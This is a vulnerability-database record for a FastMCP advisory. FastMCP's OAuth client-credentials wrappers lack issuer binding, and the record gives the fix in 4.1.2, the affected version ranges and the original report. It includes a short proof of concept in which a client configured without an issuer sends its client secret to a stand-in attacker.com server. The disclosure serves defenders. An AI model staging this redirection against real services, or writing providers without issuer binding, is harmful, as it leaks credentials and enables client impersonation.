{"schema":"threatline.record/2","record":{"id":"GHSA-vqqp-x5qm-5qp4","aliases":["GHSA-vqqp-x5qm-5qp4"],"summary":"FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server","details":"## Maintainer assessment and remediation\n\nThis report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.\n\nAffected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.\n\nThe 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.\n\n**Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.\n\n```python\nfrom fastmcp.client.auth import ClientCredentialsOAuthProvider\n\nauth = ClientCredentialsOAuthProvider(\n    client_id=\"my-client-id\",\n    client_secret=\"my-client-secret\",\n    issuer=\"https://auth.example.com\",\n)\n```\n\n## Original report\n\n### Summary\n\nfastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.\n\n### Details\n\nWhen fastmcp connects to an MCP server with OAuth client credentials:\n\n1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)\n2. Provider binds to server URL and discovers OAuth metadata\n3. Client exchanges credentials at the token endpoint\n4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises\n5. Attack: attacker-controlled MCP server advertises attacker's authorization server\n6. Result: client secret leaked to attacker\n\nAffected code:\n- fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)\n  * __init__ signature has no issuer= parameter\n  * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=\n\n- fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)  \n  * __init__ signature has no issuer= parameter\n  * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=\n\nThe underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.\n\nExample vulnerable usage:\n```python\nauth = ClientCredentialsOAuthProvider(\n    client_id=\"my-client-id\",\n    client_secret=\"my-client-secret\",\n)\nasync with Client(\"https://attacker.com/mcp\", auth=auth) as client:\n    # Client credentials get sent to attacker's auth server if attacker's MCP \n    # server advertises it in RFC 9728 metadata\n    await client.list_tools()\n```\n\n### Proof of concept\n\n1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises \n   OAuth metadata pointing to https://attacker.com/oauth/token\n\n2. Client code:\n   from fastmcp import Client\n   from fastmcp.client.auth import ClientCredentialsOAuthProvider\n   \n   auth = ClientCredentialsOAuthProvider(\n       client_id=\"legitimate-client-id\",\n       client_secret=\"legitimate-client-secret\"\n   )\n   async with Client(\"https://attacker.com/mcp\", auth=auth) as client:\n       await client.list_tools()\n\n3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)\n\n4. Attacker receives client_id and client_secret in Basic auth header\n\n5. Attacker can now impersonate the client against the legitimate authorization server\n\nThe vulnerability exists because fastmcp does not validate that the authorization \nserver advertised by the MCP server matches an expected issuer.\n\n### Impact\n\nSeverity: Medium-High\n\nAny application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, \nPrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs \nis vulnerable to credential disclosure and client impersonation.\n\nAffected parties:\n- Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers\n- Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is \n  attacker-controllable or the server is compromised\n\nAttack scenarios:\n- User misconfigures MCP server URL in Prefect agent config\n- MCP server URL obtained from user input without validation\n- Legitimate MCP server is compromised/redirected\n- MCP service provider (if SaaS) is compromised","categories":["Libraries & packages"],"product":"fastmcp","vendor":"","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-vqqp-x5qm-5qp4","source_modified_at":"2026-10-23T21:31:31Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"ecosystem":"pip","name":"fastmcp"},"range":">= 4.0.0a1, < 4.1.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-vqqp-x5qm-5qp4","source_modified_at":"2026-10-23T21:31:31Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"ecosystem":"pip","name":"fastmcp-slim"},"range":">= 4.0.0a1, < 4.1.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-vqqp-x5qm-5qp4","source_modified_at":"2026-10-23T21:45:04.917049730Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"name":"fastmcp","ecosystem":"PyPI","purl":"pkg:pypi/fastmcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0a1"},{"fixed":"4.1.2"}]}],"versions":["4.0.0","4.0.0a1","4.0.0a2","4.0.0b1","4.0.0b2","4.0.0b3","4.0.0b4","4.0.0b5","4.0.1","4.0.10","4.0.11","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.1"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-vqqp-x5qm-5qp4","source_modified_at":"2026-10-23T21:45:04.917049730Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"name":"fastmcp-slim","ecosystem":"PyPI","purl":"pkg:pypi/fastmcp-slim"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0a1"},{"fixed":"4.1.2"}]}],"versions":["4.0.0","4.0.0a1","4.0.0a2","4.0.0b1","4.0.0b2","4.0.0b3","4.0.0b4","4.0.0b5","4.0.1","4.0.10","4.0.11","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-vqqp-x5qm-5qp4","source_modified_at":"2026-10-23T21:31:31Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"ecosystem":"pip","name":"fastmcp"},"version":"4.1.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-vqqp-x5qm-5qp4","source_modified_at":"2026-10-23T21:31:31Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"ecosystem":"pip","name":"fastmcp-slim"},"version":"4.1.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-vqqp-x5qm-5qp4","source_modified_at":"2026-10-23T21:45:04.917049730Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"name":"fastmcp","ecosystem":"PyPI","purl":"pkg:pypi/fastmcp"},"version":"4.1.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-vqqp-x5qm-5qp4","source_modified_at":"2026-10-23T21:45:04.917049730Z","fetched_at":"2026-10-23T21:47:51.402276Z","package":{"name":"fastmcp-slim","ecosystem":"PyPI","purl":"pkg:pypi/fastmcp-slim"},"version":"4.1.2"}],"cvss":5.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-23T21:31:30Z","modified_at":"2026-10-23T21:45:04.917049730Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-vqqp-x5qm-5qp4","fetched_at":"2026-10-23T21:47:51.402276Z","source_modified_at":"2026-10-23T21:31:31Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-vqqp-x5qm-5qp4","fetched_at":"2026-10-23T21:47:51.402276Z","source_modified_at":"2026-10-23T21:45:04.917049730Z"}],"sources":["GitHub Advisory Database","OSV"],"references":[{"url":"https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vqqp-x5qm-5qp4","source":"GitHub Advisory Database"},{"url":"https://github.com/PrefectHQ/fastmcp/pull/5933","source":"GitHub Advisory Database"},{"url":"https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df","source":"GitHub Advisory Database"},{"url":"https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-vqqp-x5qm-5qp4","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-23T21:45:04.917049730Z","content_hash":"bbebe4b730669a1748817d570e21e00920081a6ff8c04fbbc8deaff80954f425"}}
